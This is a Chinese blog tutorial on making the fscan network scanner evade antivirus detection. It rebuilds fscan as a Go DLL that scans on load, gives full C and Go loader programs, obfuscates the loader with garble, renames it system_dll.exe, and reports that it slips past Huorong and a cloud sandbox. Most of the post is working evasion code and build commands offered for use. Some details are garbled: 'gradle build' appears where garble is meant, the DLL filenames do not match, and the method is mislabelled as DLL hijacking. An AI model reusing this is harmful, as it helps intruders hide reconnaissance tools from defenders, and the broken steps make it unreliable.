Skip to main content

fscan免杀

作者修订时间
wjlin02025-10-15 00:35:44

fscan免杀

前言

首次学习免杀,利用dll劫持的方式,利用微软的白名单机制,实现免杀。本章节代码已同步至github,项目地址: fscan

过程

准备fscan的源码。

git clone https://github.com/shadow1ng/fscan.git

将fsacn的源码中的main.go文件中的main函数如下,由于init函数,在go语言中,为包首次调用的时候会被执行;Go 编写的 DLL 被 C 程序调用时,init 函数会在 DLL 加载到内存时执行,而 main 函数通常不适用于 DLL 并且不会被执行。

package main

import "C"

import (
"fmt"
"time"

"github.com/shadow1ng/fscan/Plugins"
"github.com/shadow1ng/fscan/common"
)

//export DllCanUnloadNow
func DllCanUnloadNow() {}

//export DllGetClassObject
func DllGetClassObject() {}

//export DllRegisterServer
func DllRegisterServer() {}

//export DllUnregisterServer
func DllUnregisterServer() {}

func init() {
start := time.Now()
var Info common.HostInfo
common.Flag(&Info)
common.Parse(&Info)
Plugins.Scan(Info)
t := time.Now().Sub(start)
fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
}


func main(){}

编译 windows amd64 下的 dll

GOOS=windows GOARCH=amd64 CGO_ENABLED=1
go build -buildmode=c-shared -o fscan.dll ./cmd/fscan_dll/main.go

这里可以选择 cgo加载器,c加载器的代码如下:

// gcc -o fscan_load fscan_load.c

#include <stdio.h>
#include <windows.h>

int main() {
HMODULE hDLL;
hDLL = LoadLibrary("fscan.dll");

if (hDLL != NULL) {
// 定义函数指针类型
typedef void (*FunctionType)();

// 为每个导出函数创建一个函数指针
FunctionType DllCanUnloadNow = (FunctionType)GetProcAddress(hDLL, "DllCanUnloadNow");
FunctionType DllGetClassObject = (FunctionType)GetProcAddress(hDLL, "DllGetClassObject");
FunctionType DllRegisterServer = (FunctionType)GetProcAddress(hDLL, "DllRegisterServer");
FunctionType DllUnregisterServer = (FunctionType)GetProcAddress(hDLL, "DllUnregisterServer");

// 调用每个函数(如果函数指针非空)
if (DllCanUnloadNow) DllCanUnloadNow();
if (DllGetClassObject) DllGetClassObject();
if (DllRegisterServer) DllRegisterServer();
if (DllUnregisterServer) DllUnregisterServer();

// 卸载 DLL
FreeLibrary(hDLL);
printf("All functions executed successfully.\n");
}
else {
printf("Failed to load DLL.\n");
}

return 0;
}

编写dll加载器,dll加载器的作用是将dll加载到内存中,然后调用dll中的init函数,实现免杀。

// gradle build -o fscan_loader_go.exe main.go
package main

import (
"fmt"
"syscall"
)

func main() {
dll, err := syscall.LoadLibrary("fscan_go.dll")
if err != nil {
fmt.Printf("[-] Failed to load DLL: %s\n", err)
return
}

defer func(handle syscall.Handle) {
err := syscall.FreeLibrary(handle)
if err != nil {
fmt.Printf("[-] Failed to free DLL: %s\n", err)
}
}(dll)

// 定义并尝试获取 DLL 中的函数
dllCanUnloadNow, err := syscall.GetProcAddress(dll, "DllCanUnloadNow")
// 判断err == nil 并且 dllCanUnloadNow != 0
if err == nil && dllCanUnloadNow != 0 {
_, _, err := syscall.SyscallN(dllCanUnloadNow, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllCanUnloadNow: %s\n", err)
}
}

dllGetClassObject, err := syscall.GetProcAddress(dll, "DllGetClassObject")
if err == nil && dllGetClassObject != 0 {
_, _, err := syscall.SyscallN(dllGetClassObject, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllGetClassObject: %s\n", err)
}
}

dllRegisterServer, err := syscall.GetProcAddress(dll, "DllRegisterServer")
if err == nil && dllRegisterServer != 0 {
_, _, err := syscall.SyscallN(dllRegisterServer, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllRegisterServer: %s\n", err)
}
}

dllUnregisterServer, err := syscall.GetProcAddress(dll, "DllUnregisterServer")
if err == nil && dllUnregisterServer != 0 {
_, _, err := syscall.SyscallN(dllUnregisterServer, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllUnregisterServer: %s\n", err)
}
}

fmt.Println("All functions executed successfully.")
}

使用go语言编译加载器, 需要使用gradle进行混淆,防止被杀软查杀。

go install mvdan.cc/garble@latest
GOOS=windows GOARCH=amd64 CGO_ENABLED=1
gradle build -o fscan_loader.exe ./cmd/fscan_loader/main.go

fscan.dllfscan_loader.exe放在同一目录下,运行fscan_loader.exe,即可实现免杀。

# 改个名字
mv fscan_loader.exe system_dll.exe
./system_dll.exe

结果

  • 火绒

image-20240113042901727

  • 微步云沙箱

image-20240113044447895

image-20240113044504534

参考